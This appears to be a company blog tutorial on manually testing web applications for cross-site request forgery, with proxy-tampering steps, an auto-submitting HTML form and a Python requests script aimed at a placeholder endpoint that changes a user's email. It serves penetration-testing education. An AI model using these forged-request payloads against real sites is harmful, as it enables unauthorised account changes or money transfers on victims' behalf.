Manual CSRF Testing: A Deep Dive for Penetration Testers

In this installment of the Learn Pentesting series, we’ll dive into the technical nuances of testing for Cross-Site Request Forgery (CSRF) vulnerabilities manually. CSRF remains a critical vulnerability in web applications, and understanding how to identify and exploit it is essential for penetration testers and security professionals.


1. Understanding CSRF Vulnerabilities

CSRF is an attack that tricks an authenticated user into submitting a request to a web application in which they’re currently logged in. By leveraging the user’s active session, an attacker can force unwanted actions—ranging from changing account details to initiating financial transactions—without the user’s explicit consent.

Key Characteristics:


2. Identifying CSRF Vulnerabilities During Penetration Testing

Before you attempt exploitation, thorough reconnaissance is necessary. The following steps outline a systematic approach:

A. Request Analysis

B. Testing Without Tokens

C. Browser Testing


3. Manual Testing Techniques and Examples

A. Intercepting and Modifying Requests

When using an intercepting proxy:

  1. Capture a Legitimate Request: For instance, intercept a POST request that changes a user’s email address.
  2. Analyze the Request Body: Look for hidden fields such as csrf_token or similar.
  3. Tamper the Request: Remove or change the token value and resend it.
  4. Evaluate the Response: A successful change, despite token tampering, confirms the vulnerability.

B. Crafting a Malicious HTML Form

One common method is to create an HTML page that automatically submits a forged request. Consider this example:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF Test</title>
</head>
<body>
  <!-- The form action points to the vulnerable endpoint -->
  <form id="csrfForm" action="http://vulnerableapp.com/changeEmail" method="POST">
    <!-- Parameters expected by the vulnerable endpoint -->
    <input type="hidden" name="email" value="[email protected]">
    <!-- If a token exists, try removing it or replacing it with a fixed value -->
  </form>
  <script>
    // Auto-submit the form to simulate a CSRF attack
    document.getElementById("csrfForm").submit();
  </script>
</body>
</html>

Explanation:

C. Using Python for CSRF Testing

Python’s requests library can also simulate CSRF attacks. Here’s a simple example:

import requests

# URL of the vulnerable endpoint
url = "http://vulnerableapp.com/changeEmail"

# Data payload without a valid CSRF token
payload = {
    "email": "[email protected]"
    # Notice: No CSRF token is included here, or it could be set to a fixed value.
}

# Optionally, you might need to include session cookies if authentication is required.
session = requests.Session()
# For example, set the session cookie if you have it:
# session.cookies.set('sessionid', 'your_valid_session_cookie_here')

# Send the POST request simulating a CSRF attack
response = session.post(url, data=payload)

# Output response details for verification
print("Status Code:", response.status_code)
print("Response Body:", response.text)

Explanation:


4. Advanced Considerations

A. Bypassing Token Checks

Even when CSRF tokens are present, weaknesses can exist:

B. Verifying Impact

Always validate that the request truly altered the state:

C. Real-World Testing Example

Consider an online banking application where a money transfer endpoint is protected by a CSRF token. During testing:

  1. Capture the Transfer Request: Identify parameters such as recipient_account, amount, and csrf_token.
  2. Remove/Alter the Token: Use your intercepting proxy to remove or change the csrf_token value.
  3. Replay the Request: Send the modified request. If the transfer occurs, the CSRF protection is inadequate.
  4. Document Findings: Record the endpoints, request details, and behavior observed for further remediation.

5. Conclusion

Manual testing for CSRF vulnerabilities requires both a keen understanding of the underlying mechanics and a methodical approach to verify the presence (or absence) of effective anti-CSRF measures. By leveraging techniques such as intercepting proxy manipulation, crafting malicious HTML forms, and simulating attacks with Python scripts, penetration testers can uncover critical flaws that automated tools might miss.

Key Takeaways:

This guide serves as a reference for penetration testers aiming to master manual CSRF testing. In subsequent posts, we’ll explore more complex scenarios and mitigation strategies for various web vulnerabilities.


For further reading and code examples, consider exploring resources like the OWASP CSRF Prevention Cheat Sheet and advanced Burp Suite tutorials.

Happy testing, and stay secure!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.